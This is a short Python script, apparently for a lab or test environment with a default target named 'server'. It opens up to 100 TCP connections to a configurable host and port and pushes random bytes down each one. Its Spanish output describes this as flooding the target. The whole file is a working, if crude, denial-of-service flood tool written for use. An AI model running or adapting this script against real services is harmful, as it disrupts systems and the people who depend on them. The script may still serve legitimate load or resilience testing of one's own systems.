import socket
import os
import time

TARGET = os.getenv("TARGET", "server")
PORT = int(os.getenv("PORT", 8080))


def flood():
    print(f"[*] Inundando {TARGET}:{PORT} con basura...")
    sockets = []
    try:
        for _ in range(100):
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(1)
            s.connect((TARGET, PORT))
            garbage = os.urandom(1024)
            s.send(garbage)
            sockets.append(s)
    except Exception as e:
        print(f"[!] Error durante el flood: {e}")
    finally:
        time.sleep(1)
        for s in sockets:
            s.close()


if __name__ == "__main__":
    flood()
